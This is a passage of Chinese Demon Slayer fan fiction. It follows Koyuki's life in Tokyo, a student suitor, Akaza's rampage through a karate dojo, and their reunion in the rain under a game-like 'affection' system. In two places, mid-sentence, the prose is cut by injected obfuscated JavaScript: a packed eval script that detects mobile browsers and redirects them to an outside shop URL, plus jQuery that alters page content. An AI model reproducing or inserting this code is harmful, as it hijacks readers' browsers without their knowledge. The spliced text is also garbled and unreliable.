恋雪走在二人中间,忽然想起什么,问道:“对了,善逸君,你当炼狱先生继子的事情,桑岛先生有说什么吗?” “有!爷爷他太严厉了,写了一封特别长的信来长篇大论说让我别丢他的脸,还有什么跟着炼狱先生好好修行在炎呼里学点本事融入雷呼之类的,光是看着那封信我就能想到他凶巴巴的表情,还有我师兄……” 善逸原是说个不停,说到师兄,他看似抱怨实则喜悦的话语才停下。 “嗯,善逸君,你师兄怎么了吗?” “没什么、没什么……” 糟了,差点就说漏嘴了。 自从他成为炼狱先生的继子后,在鬼杀队里偶遇师兄时师兄对他更加嫌恶的表情,他怎么能说出口呢。当了炎柱的继子后被雷呼的师兄厌恶,这样不是隐隐在说这件事分裂了他们师门内部的感情,让炼狱先生和素山师姐尴尬吗。 忽地,伊之助拉住了他的手。 “喔喔喔,纹一你看,那边有个石头人!” “什么石头人,那是石佛啦……”虽然很无奈于朋友的毫无常识,善逸还是赶紧顺着伊之助的话转移了话题。 “是石佛哦,来的路上我还拜了一下,很灵呢。我的心愿,似乎真的在渐渐实现。” 鬼已死,过一段时间,镇上的居民们大概就会把流落在外的神像迎回神社中了。 天光洒落,照着石像慈悲佛面,无论高坐神龛,还是潜于草木,它都是这祥和欣慰神情。 “伊之助君和善逸君也可以拜一下,”恋雪的目光,特意落在善逸脸上几秒钟,“如果有什么不开心的事情,就在心中祈愿它们散去吧。” “好,本大爷许愿要成为无敌强者,能一拳打倒上弦鬼、特别是那个狗窝座,狠狠替大眼珠子和武道女人把场子找回来!” 还没等恋雪反应过来,伊之助已在石佛前将双掌拍得震天响。 哈哈,伊之助君很记仇呢……唉,狛治,这我就帮不了你了,毕竟你也确实干了那些坏事。如果真有那一天,你就……立正站好,老老实实被伊之助君打一拳吧…… 身旁,善逸却是双手合十,虔诚闭目,安静地祈愿着。 好,那她也向神明大人道一声谢再走吧。 半蹲而下,她轻轻擦去了它身上的青苔和蜘蛛网。 前途终有道,花发应残枝。 谢谢您真的听到了我的心声。 11.喜提小房子一座 “这么说,那个上弦之三还真帮你把他的同类杀了。” 从产屋敷宅邸出来,杏寿郎和她一齐在漫漫林荫道中走着。 “是,而且我也……真心地劝诫了他,希望他能改过自新。” “素山,我还是不相信上弦可以改邪归正,不过你这次任务的努力,主公和我都看在眼中,你做得很好。” “对了,听说你要搬新家了,乔迁的礼物我会托人送到你府上!” “哈哈,府上这个词也太隆重了吧,其实只是一座小房子而已。礼物的话,下午和炭治郎君他们的训练结束后我顺路带回去就好了,炼狱先生不用还专门找人送上门呀。” “是家具,素山你‘顺路’带回去可能有些勉强!”杏寿郎金橙双目炯炯。 居然是家具! 第二天那礼物送到的时候,她傻眼了。 是一口西式书柜。这木材和做工一看就很贵重。不仅贵重,而且和系统给她的这套小房子和洋折衷的风格完美匹配。 新居乔迁,前两日,她邀请了炼狱先生、蜜璃前辈、富冈前辈还有炭治郎他们到家中做客,吃顿便饭。席间,她似乎是随口提起打算把以前的藏书全搬进来。 炼狱先生,居然将她的无心之言记在心上。 她必须认真完成每一个任务,才能不辜负炼狱先生对她的看重了! 书柜的木材是吉野杉,有淡淡天然香气。一册册书卷,经她雪白素净的手放入柜中,一室书香、墨香、木香浮动。 她对阅读的热爱,都是源于一百年前,那位转赠父亲道场的老人曾留下许多书籍。 道场土地广阔,藏书室偏远,孱弱的童年时代,是在家照顾她的妈妈来来回回、一趟又一趟,为她去藏书室取书。 老先生的藏书里,不乏兰学、也即洋书解禁令后传入的外洋书籍。 妈妈手捧书册,温柔的声音在她病床前娓娓道来。 道场外的世界,山那边的世界,这海中孤岛以外的世界,都在妈妈的轻声细语中徐徐展开,放出温柔光亮。对一个病得甚至起不了身的小女孩来说,世界是遥远的,但妈妈是近在咫尺的。因此那广袤的世界,也一步步向她走来了,一如母亲轻缓的脚步。 后来妈妈不在了。 妈妈轻柔的话语和足音都远去。 不辞辛苦地为她将书搬过来的人成了狛治。但……狛治的学识,恐怕无法像妈妈那样,与她一起阅读。也没关系,那就反过来,换成她给狛治读书吧,她会像妈妈将知识传递给她一样,将那书中的广阔世界也传递给狛治。 后来她病情有了起色,他坚实的臂向后托着她瘦弱双腿,少年的他背着同样少年的她,缓缓地,一步步向着藏书室走去。 她伏在他温暖的背上,抬手要去取二人头顶的书,只差一点点——仿佛心有灵犀一般,他很快踮起,助她去取高处的书。 多亏了他,她第一次迈入这间她从中汲取了无数心灵的慰藉,却从未踏足的房间。 藏书室原本积了许多灰尘。在她提出想去看看之后,他连夜把它打扫干净。都是听爸爸提起的,狛治那小子,这几天一有空就往藏书室里钻,我还以为他被你感染爱上看书了,原来只是去打扫卫生,唉,他呀,跪在地上来来回回洗了好几次地板,又搬梯子去擦书柜,天一放晴就把那些书搬出去晾晒…… 果然,在他精心打扫、擦洗过的藏书室,她一个喷嚏都没打。 他背着她走过一架又一架书柜,书页翻动,他们走过高山、平原、大海,走过奈良、平安、唐朝,走过泰西、南蛮、暹罗,宇宙的宫殿,不朽的星辰,全都是他陪伴着她,徜徉着,漫游探索。梅雨将天空洗涤,雨霁的午后,藏书室是他们寻宝游戏的伊甸。 唯独有一次,她的泪水滴落在他白色的道服上。 他忙问她怎么了,她擦擦眼泪说,是我想起了妈妈…… 阳光斜斜照入一百年后她的新家。 看着眼前还有些许空位的书柜,似乎,更想买书了。 很快,她便出发。 这座“东京小型宅邸”在麻布区,周边很是繁华。走走停停,一间装潢古朴的书店转眼伫立在她面前。 专门放置洋书的区域,居然有一本介绍各国格斗技法的书,下册。 只此一本。 恋雪正要取来看看,忽然,一双清癯的手碰到了她取书的手。 长袖衬衫,袴,羽织,军帽,最近很流行的书生装扮风格。看年龄,似乎比她略大一些,大概是附近的大学生? 年轻男子匆匆伸回手,抱歉道:“不好意思,您先请,这位小姐,您先看吧。” 大概是有些慌张,他没头没尾地又说一句:“这套书还有上册,上册我看过,内容非常丰富翔实。” 原来是有了上册之后,要来买下册的顾客。 听了他的荐语,恋雪迅速翻阅浏览一番。确实是一本好书。哪天狛治到她家来了,他看到这本书说不定也会很感兴趣。 但这位先生大约是和她一样,也想买下这本书…… 对方似乎看出了她的想法,笑道:“没事,我和老板很熟,我拜托他下次再上架的话给我留一本就好了。” “那太谢谢您了,感谢您割爱。” 真是好心人呀,恋雪向他感激地一笑。 出了书店,二人在店门口简单交流了几句。夏日的风,吹过相邻店铺的松饼、曲奇,甜香轻悠。几个抓着风车在玩的小孩子跑过,熏风之中,又刮起五彩斑斓的小小旋风。 “这么说,您是因为这套书才开始对武术感兴趣了?” “是啊。上个月意外淘到上册,本来只是觉得它的选题很新奇。不过我跟着里面的插图和指引比划了一下,没想到,居然可以把心中的郁闷一扫而空。” 如果是一般男人,大概要对看似文弱的恋雪发出女孩子也喜欢武术吗的惊叹,但这名自称浅野修的男大学生,却并没有说类似的话,而是兴致勃勃地告诉她,下次,如果她在书店发现上册,请务必也买下来,上册也非常的精彩。 “还没问素山小姐是哪所学校的学生呢?方便告诉在下吗?” 非任务期间不穿鬼杀队制服,以恋雪的打扮和气质,确实很容易让人误会她是大学生。 “啊,我还在备考呢,哈哈。” “以素山小姐的学识,肯定很快就能考上东……” “修少爷!” 没等他说完,一名身穿黑羽织的老者匆匆赶来。 “修少爷,您要买书的话让家里的仆人代行就好了,公爵大人他们到府上来的游园会您没出面,老爷和夫人发了很大火,现在家中的仆人都在到处找您哪。” 被前来“拿人”的家仆打断自己的话,修清俊面容上柔和的笑意消失了。 “知道了,我这就回去。” 他转过头,又重新挂上笑脸,对恋雪道:“其实我也住这附近,希望下次来书店的时候还能遇到素山小姐。” “唉,还说什么下次呢,少爷您赶紧想想怎么和老爷夫人谢罪吧……” “别催了,都说我知道了。”修的神色愈发不耐烦。 任是如此,身旁的仆人还在催着他早点返程。 真是充满烦恼的富家子弟的生活。 恋雪礼貌地一笑:“浅野先生可别让那位管家先生等急了呀,有缘的话,下次我们还会再见的。” 这小小的萍水相逢,恋雪和他告别后,并没怎么放在心上。后来的一周,她也曾路过那间书店两次,想看看那本书的上册有没有重新进货,很可惜,没有。 未成想,上册没等到,向她荐书的大学生,她倒是很快又重遇了。 “咦,恋雪,你和浅野学长认识?” 已经在东京女子师范就读一年的信子惊讶地看向她。 * 鬼杀队也有假期。 假期里,她常和也在东京读大学的信子见面。 自然而然地,信子把她介绍给了女高师蕾诗社的其它朋友。 蕾诗社与其说是诗社,其实更像一个学生运动组织,除了文学创作和刊印杂志,其余的活动,都是围绕着妇女儿童的权益展开。 和诗社的大家结识后,没有任务的日子里,恋雪常和她们一起去医院、孤儿院、救良所、工厂……发放饭团和旧衣,给孩子们义务授课,传授寡妇和年轻女工诸如打字、接线等薪水更高的谋生技能。 本来,她们还想过去吉原游郭,实地调查,撰写文章揭露游女遭受的剥削与虐待,同时,救助想出逃或被拐卖的游女。支援废娼运动,也一直是诗社的目标之一。但因为游郭环境复杂,学生们贸然进入太过危险,这一计划暂时还未成行。 大正七年的米骚动事件后,如雨后春笋般,全国大学纷纷成立起致力于社会运动的学生团体。 比如女高师的蕾诗社,比如东京帝大的新人会。 周末,新人会在上野公园有演讲活动,不止帝大内的其他学生运动团体,恋雪也随诗社的朋友们来看看。 树影茂密,晴空湛蓝,学生、市民、工人,人群熙熙攘攘,围着用木箱搭出的临时演讲舞台。 民本主义,社会主义,团结工人,团结无产阶级,平等,解放,诸如此类的词汇,铿锵有力地从人群中心传来。 等等,台上那个人似乎有些眼熟…… 还不待她反应过来,结束演讲的学生代表已经快步向她们走来。 此人走近,她才认出对方。 “素山小姐?这么巧……噢,原来你和蕾诗社的朋友们认识。”修清雅的脸上流露淡淡欣喜。 恋雪身侧,信子和几个诗社的同志也惊讶:“咦,恋雪,你和浅野学长认识?” 恋雪平和地笑道:“之前在书店见过,我刚巧和浅野先生看中了同一本书,多亏了他割爱。” 修的身后,几个他的同学在起哄:“修你和这位美丽的小姐是书友啊。” “喂,你们别这样……”他脸上泛起几分尴尬,连忙阻止朋友们的打趣,却又不经意间,余光看了看恋雪的神色。 只听她笑道:“哈哈,我只是碰巧和浅野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16987282|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生看中了同一本书,本身的阅读爱好不一定相同呀。” 她委婉表示他们并不太熟,又转移话题道:“刚才新人会的演说,我听了也是醍醐灌顶。”虽然只是萍水相逢,但对致力于社会运动的学生代表,她却是充满敬意。 她如此含蓄地表态,刚才还打趣二人的男大学生们纷纷知趣,一个两个尴尬地左顾右盼——居然有对修不心动的女孩,天,早知道刚刚不开那种无聊的玩笑了。 这一日小小的插曲,很快过去。 但接下来的日子,时不时地,她仍是会与浅野修见上几面。 诗社和新人会在去年多校联合的学生运动中结下了友谊,近期许多活动都是共同参与。 在孤儿院,在贫民窟,在工厂周边。 浅野先生确实是个好人,对贫民施以援手,对工农传授知识,对团体的后辈们也非常照顾,无论是谁,他都会搭一把手。好几次,他赶在她面前,将装满救济物资的沉重木箱托起。 其实凭鬼杀队甲级剑士的臂力,扛起这箱子轻轻松松。大约是她外表实在有些瘦弱,令浅野先生有所误会。他还常轻声问候一句:“素山小姐,没事吧?我帮你。” 她也不好扫他的兴,只好说,太谢谢您了。 博闻强识,温柔可靠,东帝大高材生,运动中迅速崛起的新人,祖父在明治维新中取得爵位……诸如此类对浅野先生的评价,她也常有听闻。 当然,这些评价一半都是信子告诉她的。 “浅野学长可是一个大好青年哦,诗社里有几个女孩对他很有好感呢,恋雪,你要不要把握一下机会?” “什么?” “昨天的读书会,他一直在和你找话题,你没察觉吗?” “没有吧,浅野先生他对所有人都很照顾呀。” “你也太缺根筋了,他和每个人都说上几句,就是为了在和你搭话的时候显得没那么突兀啊。我可留意到他每次和三四个同学交流完,就会立刻转头问问你的意见哦……” 还有这样的?信子也想太多了吧! 恋雪只好道:“应该只是他看我和大家不一样,我不是大学生,他特意照顾一下我?实不相瞒,我对浅野先生,呃,没什么当朋友之外的想法。” 要不是信子提醒,她都没留意到浅野先生有……有特意和她搭话?果然还是信子想太多了吧。 比起信子完全错误的观察,她倒是有些在意另一件事。 有段时日没遇到狛治哥哥了。 本来,她还想下次相逢,就叫他干脆住到她家里。他连一件正经衣服也没有,她很怀疑他平时根本就是脱离了人类社会,说不定每天都是风餐露宿,随便就睡在什么山洞啊、森林啊、大树上……这怎么行! “唉,看来恋雪你还想念着你的亡夫呀。” 夕阳里,信子的语气带上了几分叹惋。 作为她的朋友,信子一直希望她能早点走出来。无论从志向、性格,还是相貌、家世来看,浅野修都是一个优秀的追求者。依她的看法,那个道场学徒虽然凭着任劳任怨、一心一德打动了恋雪,但志同道合的知识分子未必就比不上他。 不过一切都还是要看恋雪自己的意思。 在她身侧,恋雪话到嘴边,又吞了回去。 关于自己和狛治重逢的事情,实在很难和好友解释……信子可是知道鬼的存在的,如果她说狛治死而复生了,加上她在鬼杀队任职,凭信子的聪慧,大概很快就能猜出狛治变成了鬼。到时候,只怕要拉她回村子里和渡边校长一起苦口婆心劝她个三天三夜了…… 千言万语,都化成一句:“是,我到现在还想着他。” 夕阳西下,淡金流光照着她略带惆怅的美丽侧颜。是日已过,命亦随减,但她生命中的一些东西,永不会随着光阴流逝便一同消逝。 信子长叹一气。 “真拿你没办法,那待会到茶屋的时候,我拉着你坐远些,离帝大那些男生远一点。” 和新人会的帝大学生们商量已久,大家终于决定了要制定去游郭的计划。 信子有意无意地,又看了恋雪一眼。 刚刚是不是,不应该在恋雪面前提起那位去世的未婚夫? 恋雪忽然的沉默,其实只是在思索下次见到猗窝座时怎么劝他住到自己家里来,但落在信子眼中,就成了想起亡夫后的落寞。 早知道刚刚不要说什么她还在想着那位亡夫了,自己以后真的要改改这个心直口快的毛病…… 信子左思右想,终于想出一个法子来转移她“忧愁”的心绪—— “距离茶屋还有好一段路呢,恋雪,你给我好好讲讲你在鬼杀队的生活吧怎么样?我呀,可是一直很好奇我的好朋友平时都有些什么奇幻历险。” 诶?恋雪终于回过神来。 她笑道:“非要说奇幻历险的话,上次我在外县的神社遇到了伪装成神的鬼,它……” 暮光中,两个年轻女孩相携走过河边柳荫,偶有轻轻笑语传来,二人影子逐渐拉长。 夜色将至。 12.猗窝座巧施连环计 他会驻足至此,是因为这座空手道道馆打出了关东第一的名号,还说什么诚邀各路高手上门切磋。 本来,这只是宣传手段,附近市民路过那面“关东第一”的巍峨牌匾,大约也是议论几句而已。议论之余,也有些赞叹,毕竟过去一个月,馆主还真一连放倒了十九个来踢馆的对手。 第二十个上门“切磋”的人,在这个浓雾涌起的黑夜降临了。 “我们闭馆了,你来干什么?”守在门口的弟子不耐烦地抬起眼皮,“你听不懂人话吗,快离——” 轰! 只一拳,那弟子已被击出十几米远,半边身体都嵌入道馆院中古木,头破血流。 夜雾深处,传来一声蔑笑。 “叫你们师父出来。我要会会这个所谓的,关东最强。” 一缕路灯光幽幽穿透浓雾,如舞台上电弧灯将这出恐怖戏剧的主角照亮。 妖异暗光里,战栗的道馆弟子们终于看清来人面容。 青灰色皮肤,深蓝色刺青,浴火又浴血般的深粉色短发,眼白泛蓝,裂纹纵横,如蜘丝蜿蜒。 再加上那恐怖的力量,怎么看都不是人类。 “怪、怪物!” “快去叫师父出来,师父——” “怪物”看着连滚带爬逃入馆中的弟子,笑意优游,如闯入血池肉林的慵闲猛虎,一步步往前,迈入馆中。他脸上挂着笑,金瞳中却是一片阴冷,看不出有什么期待或兴奋的笑意,甚至,看不出有一丝人性。 馆中,被众人簇拥着的馆主已然出阵。 “无论你是人还是什么怪物,我都不会让你再向前一步。”馆长鬓发铁灰,摆出空手道的起手式,将一众弟子护在身后。 护在身后?不错,不错,很有—— 啊,很无聊。 还是很无聊。 为什么会这么无聊? 放在以前,这是他最喜欢的,说着冠冕堂皇之语的、很像强者的猎物。但今日,他已经感受不到一丝趣味。 那天,在那神社中被她拦路堵住,听她说了一大通啰里吧嗦莫名其妙的废话,十日过去,她恼人的脸和烦人话语,依然如同鸟群盘旋,在他心上挥之不去。终日回想着她,甚至,连修行都怠慢。 修行,挑战,战斗,杀戮,他生涯中最有趣的事情,他平生最热爱的事情,一夜之间变得极度无聊。 不止。 仿佛每一分、每一秒,所有的一切都是虚无。 唯有想起她时,白鸟的羽毛纷纷扬扬飘落在他空旷心中。 但轻飘不定的羽毛,如何能填满鬼之心的空洞? 极其烦躁地,他一拳将那馆主轰出几十米远,甚至一连撞穿了两面木墙,直通场馆的后室。 素日威风凛凛的师父竟被这怪物一拳轰出几十米、不对,百米远! 人群爆发恐惧的呐喊,有奔逃的,在他眼底如行动迟缓的老鼠,被他一个闪身通通放倒,有冲上来想群起攻之的,不过是蚍蜉撼树,尚未近身,便已在那暴虐腾起的蓝光下不省人事,只有那群冲到馆长身边想将馆长扶起的,他稍稍放他们一马,给了他们一分钟。 但很可惜。 这一分钟白给了。 他们居然不是扶起馆长、重新迎战,而是互相搀扶着,张皇逃窜。 落荒而逃的弱者,无能的弱者,赶紧死了清净。 不就是杀人吗,一百多年,他早不知道杀了多少人,难道听她几句不知所谓的话就停下来?难道他答应过她吗,他承诺过她吗,他发过誓吗?何况,她还能时时刻刻监督着他不成,他杀没杀人,她又岂会知晓。洗净一身血腥,他照样去会会她。 他是斗之鬼,他是上弦之三,他是……猗窝座!他是为了战斗,为了杀戮,为了血腥而生,除此之外,别无它物…… 然而在他犹豫的一刹那,弟子们已赶紧扶起馆主往后门逃去。 恋雪,是他们要逃跑,他们不敢堂堂正正地应战,所以,我杀了他们也无所谓了。 宛如幽魅移形,只用了半秒,他已挡在惊惶的人群前。 馆长见状,也顾不得什么师威体面了,双目睁大,满是恐惧,随手拉过一个弟子,挡在自己身前作送命的肉盾。 猗窝座的金瞳妖异凶光亮起,眼中分明是死寂无波的冰冷,唇边却依旧漾开一抹笑,极力地,想回复往日战意,对,就像从前一样,酣畅淋漓、了无牵挂! 刚刚还仪表堂堂,这就要拉弟子来垫背,这些卑劣的、老鼠一样的弱者,更该死了,他这就杀了他们,这就—— 猗窝座先生,如果你对我有哪怕一丝一毫的感情。 如果你不想我因为你缔造的杀业而…… “师父,这个怪物不知道在犹豫什么,我们、我们不如用‘那个东西’把他给……” 刚才被馆长拉到身前作肉盾的弟子为逃一死,战战兢兢地,悄声道。 馆长见那“怪物”眸光暗下,忽然间,又瞳孔一缩、非人的瞳中居然闪过一丝恐惧,馆长心下勇气大增,天赐良机!那就趁他分神…… “砰”一声在道馆后室荡开。 一刹那的寂静后,又是数声,砰砰、砰砰。 猎枪连开数发,但那子弹只如滴水入海,缓缓没入鬼的血肉,子弹轰出的血洞转瞬缩小,无踪。 那弟子看了师父打的手势暗语偷偷去把猎枪取来,本来胸有成竹,志得意满。志怪传说中的怪物,不都是击中透头颅后就会倒下?但他的自信,只维持了几秒钟。几秒后,青年举枪的双手疯狂颤栗着,惊惧不已。 怪物,这真的是怪物,就连枪也……弹孔、弹孔在这怪物眉心消失了…… 他们今晚都会死在这里! 果然,怪物再抬头时神色冰冷,方才青蓝色鬼火的杀招再度腾起—— 仍是一分钟。 一分钟后,猗窝座冷眼打量一地昏迷的弱者。 脚踏废墟与鲜血,走过满地横七竖八的废物,他自认已经十分仁慈,一个都没杀。 最后一下,他踩断了那馆主方才拉扯徒弟所用的右手,就此离去。 断壁残垣,呜呼哀嚎,都被甩在身后。 一发力,上弦之三宛如矫健花豹,跃上人类城市的屋脊。 浓雾早就散了,一轮雪白的月挂在天心。 那天之后,看见林荫尽头的晨曦,想起她,看见春夏的繁花,想起她,看见月亮,还是想起她。 下方的城市已漫起霓虹点点,玻璃彩灯辉煌,为迈入二十世纪的横滨镶花加冕。他并不喜欢弱者们建造的花哨文明,广袤的都市,在他眼底像一幅爬满虫虱的地毯,稍一抖落,那华美的刺绣中便爬出无数臭虫。举世的人造之光都不及天心纤月的清辉。 把今天的事情告诉她,她会怎么样? 是会拍着手万分感动地说,谢谢你、猗窝座先生,我真敬佩你、猗窝座先生,还是又哭哭啼啼地念着那个叫狛治的名字,说什么,狛治哥哥,我就知道你一定可以回头的…… 抑或,只是把他当成被她玩弄于股掌之间的蠢货。 他的心,愈发烦躁起来。 要不是已离去甚远,他懒得浪费时间返程,他现在就回刚刚的道馆把那群废物全部杀光。 夏夜的风吹起他炼狱红莲般粉发,上弦鬼面无表情,金瞳俯瞰着下方的都市。 他知道,她就生活在这弱者们汲汲营营的巨型蚁巢里,庸俗的温情、软弱的喜乐,通通都是变强之路上的绊脚石,她沉浸其中,是她不思进取,她浪费她的天资!她人生中唯一值得庆幸的是……他会暗中看着她,保护她,在她达到瓶颈和上限之后,依然如此。 转念间,想起已经有好几日没有见到她。 鬼的心中,忽如滴下一珠清清泉水,将顽石穿透。 为什么要浪费时间思前想后,直接去见她一面不就好了? 如此一味地烦恼,根本不是他的作风。 想到很快就能见到她,一股无名的喜悦,瞬间又涌上他的心—— 但很可惜,这股喜悦甚至维系不到一天。 他专门在她负责的区域守着,第一天,她没出现。 第二天,她还是没出现。 第三天,他甚至想去外地抓几只鬼过来扔到这里,看她还来不来执行任务。 百年来颇得鬼王赏识的上弦之三,行动力惊人。这个想法刚从他脑海浮现,隔天,便有几只力量尚可的鬼“空降”此处——力量尚可,不会伤到她,但几只一起上,也够她缠斗个一两小时了。到时候,他再…… “啾太郎,怎么回事啊这里怎么会忽然冒出七八个鬼?我记得素山师姐休假前明明把这一带清理得干干净净来着!” “啾啾啾,啾啾啾!” “啊啊啊啊要是炭治郎在就好了,伊之助你能听懂啾太郎在说什么吗?” “别管你的麻雀了纹一!哈哈哈,居然有这么多鬼给本大爷练手,刚好看看在大眼珠子和武道女人那的特训成果怎么样!猪突猛进,猪突猛进!” 山林中,奔袭至此的并非他预想中那道轻姿瘦影,而是一头猪和一个黄毛小子。 居然是……居然是这两个……该死的灶门炭治郎的同伴。 一个厚着脸皮叫她素山师姐,一个毫无敬意地说什么武道女人。 猗窝座额上青筋暴起,古木层层阴翳间,他的目光阴冷投下。 若非对这两个家伙动手她又会和上次一样流着泪说一堆废话,他一定一拳一个,把他们的脑袋给砸烂。 看在他们透露了她在休假的消息,他勉强地,放他们一马。 一眨眼,上弦之三的身影已从树上消失。几乎是瞬移,他已抵达林外城市的边缘。 人类的城市,实在太臭了。 若非那位大人交代了什么任务,抑或城中有值得他前去对战的人类,他基本不会主动踏足。 更别提,他走遍一都一道二府四十三县千千座市町村后,重新站在“它”面前。 最恶臭难闻的,江户……东京。 他无比厌恶它的气味。 低等的味道,丑陋的味道,恶心的味道。 灯彩的洪流如斑驳脏水,涌入他暗金瞳中。 * 按照计划,对游郭的揭露,主要是采访救良院中出逃的游女,以及游郭外围,外人容易接触的地带。 至于游郭的内部…… “如果要深入游郭内部,我父亲有几个红十字会的传教士朋友,其中有一位骨干神父在吉原周边从事卫生防治和救援工作。” “我可以从他那里得到一份调查许可的文件,刚好我就是医学部的,提前伪装一下医生应该问题不大。”修胸有成竹地开口,一派裘马翩翩的贵公子神采。 这是他二十年的人生中对家庭最大的反抗,进入东帝大,但没有就读法科系,没有按着父亲安排的坦途从法学部平步青云进入议院,而是学了医。 他们当成名贵的盆景一样裁枝打理的儿子,没有遵从他们的心意当上什么高官显爵,而是抛却虚荣,抛却假象,清苦地走到百姓身边、走到真实的人间中去,想必他们得知后会大为震愕,惊怒交加。 修清俊面容上有淡淡笑影。 同席的其他新人会成员想的却是,浅野居然能让红十字会骨干开出许可文件,不愧是有个伯爵父亲。 有医生,当然有护士。 另外两个同样是医学部的男大学生田中和松本提出加入后,诗社的社长百合和信子也随即表示可以假扮护士。进入游郭不好兴师动众,一小队人进入即可。 然而,毗邻信子坐着的恋雪想了想,开口道:“不如我也去怎么样?” 尽管未得到证实,但游郭里一直有鬼徘徊的传闻。 虽然大家进入游郭内部的计划只有三天,她还是跟过去看看为妙。 修面露浅淡喜色:“素山小姐也同往吗?我作为‘前辈’,一定会保护好……” 这是在? 唉,看来再清爽再儒雅的男人,一到点了还是会上演“我好歹也是一个男人,放心交给我吧”的戏码。信子真有点想翻白眼了。 她露出一个“惊喜”的笑,仿佛超绝不经意间提起:“咦咦咦,恋雪也一起去吗?这我就放心多了,恋雪可是她们家武术道场的继承人,厉害得很。” “是、是吗,素山小姐是武术道场的继承人啊……” 他还以为那天在书店遇到她也喜欢那本武术图鉴,是出于鉴赏上的兴趣。 暂时没有就读大学,也是因为要挑起家中道场的大梁吗? 一瞬间,她纤柔的身影周围,仿佛流转着某种坚韧而纯净的华彩。青春、理想、爱情,一一荡漾在那华彩中。若要付出青春的爱情,对象当然当然,应是这样一位美丽坚强的同道女子。而非和公卿华族家的女儿,结成空洞无物的庸俗婚姻。 如果不是他这几天和家中闹矛盾,现住在毗邻帝大的寓所,今晚,他真想提出送她回家,与她悠然漫行,共赏东京的夏夜。 修压抑着心潮,顺着信子的话题,道:“年纪轻轻就继承道场,素山小姐真是太让人敬佩了。”说罢,又为恋雪敬茶一杯。 对面,恋雪已经连喝三杯本玉露,心道,喝这么多茶,今晚该不会睡不着吧…… 进入游郭内部的计划,作为整个调查的最后一环,时间定在半个月后。 与其他人在茶屋门口告别后,恋雪还与信子再同行了一小段路。 “信子,那我先走了,”恋雪莞尔,“对了,刚刚在茶屋……谢谢你对我的启发。” “嗯?什么启发?”信子倒有点不解她指的是什么。 “就是你说我是道场继承人的事情,我以前没想过我还可以……” 听她解释了一番的信子,震惊了,激动了。 “什么,你是说,你们家的道场本来要给你那亡夫继承?这不对吧!你明明也有资质,怎么就轮到让一个外人来继承家业了!” 恋雪没想到朋友有这么大反应,连连摇手:“他不是外人,他是我的家人呀。” “他很有天赋,是一个武学天才。但为了照顾我,他前两年一直没有认真投入训练中,曾经,我连站都站不起来,是他一直衣不解带照顾着我……后来我病情好转了些,我便……请他背我到道场中看他和父亲对练。” “在阴凉中望着他训练的下午,成了我一天最开心的时光。他有能力,心灵也正直、高尚,他……”后面的话,恋雪却是没有再说下去。 现在的猗窝座,还会想着继承道场,弘扬素流吗? 听她娓娓说着,信子这才冷静下来,感叹道:“唉,那时候你卧病在床,婿养子代为打理家业也说得过去,但你现在都康复了,完全可以靠你自己把你们家的武道传扬下去啊。” “虽然我不懂武术,但那天我可是见识过你的风采,而且……”她俏皮地眨了眨眼,带点神秘地,“能在那么人才济济的组织不足一年就晋升到甲级,你要对自己自信一点。” 她拍了拍恋雪的肩:“你来继承你们家的武道的话,我想令尊和你丈夫的在天之灵也会很欣慰的。” 在天之灵…… 恋雪尴尬地一笑,上弦之三神出鬼没的身影确实很像幽灵,鬼的一跃,也几乎与飞无异,说“在天之灵”,勉强算说得过去吧…… “下次再见,信子。你回家路上也小心一些。”她温柔笑起,和信子在分岔路口告别。 她一人行出许远。 独自回程的路上,竟然下起了雨。 糟了,也没看到雨具店,先躲到附近的屋檐下吧。 早知道出门前拿一把伞放到系统的装备空栏里…… 白烟似的雨被晚风挟着,点滴打在檐上,丝丝缕缕也错落出些韵律来。隔着迷蒙雨幕,仿佛就此将外边的世界也隔开。 她抬起雪白的脸,仰望霓虹下流光飞舞的雨,听着这自然谱就的音乐,也不恼,只觉有种别样的悠闲。 从前,她也常和狛治在缘侧的檐下听着梅雨。 但未待她将这二十世纪的缤纷雨光细看,举目之处的流光都被一把伞挡住了。 是信子特意带着伞过来找她吗,哎呀,这怎么好意……然而,她视线下移,看见的,却是一张意想不到的脸。 妖异艳丽的色泽,邪气俊美的面容。那双金色眼睛如同暗夜中的宝石,倒映着她惊讶神情。 “狛、狛治?” 【请注意,攻略人物已出现。上弦之三,猗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002503|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝座,好感度:46。】 咦,上次不还是四十三吗,什么时候又加了三点? 【宿主如想获得提醒,可开启好感度提示。】 “你要在那边躲到什么时候,还不过来?” 猗窝座微微皱眉,这狭窄的屋檐并不能完全遮住她,她的袴裙下摆和靴子已经半湿。 他又向她走近一步,表情换成了漫不经心的笑:“趁雨还没下大,我可以送你回去。告诉我,你家住哪里?” 顷刻间,他手中蓝色番伞已将她整个人罩住,如一团幽蓝鬼火压顶。 “你脸红了?看到我出现,很惊讶吗?”看见她表情,他面上笑意更深。 当然惊讶了,我还以为狛治你平时只会出现在森林、荒野一类的地方! 在人来人往的东京忽然现身,还说要打伞送她回去。 雨声琳琅,如踢踏的舞曲,她的心,仿佛也随着密密雨声快速跳动起来。 “我的确很惊讶哦,我心里……” 然而系统的提示,将她的话打断。 【宿主未答复,好感度提示默认开启。提示音可随时关闭。】 什么叫未答复就默认开启?唉,算了,不管了。眼前目下,当然是……从天而降的狛治更重要。 她也朝着他向前一步,莞尔笑道:“我家挺远的哦,可能要坐电车回去了。刚好前面有个车站。” 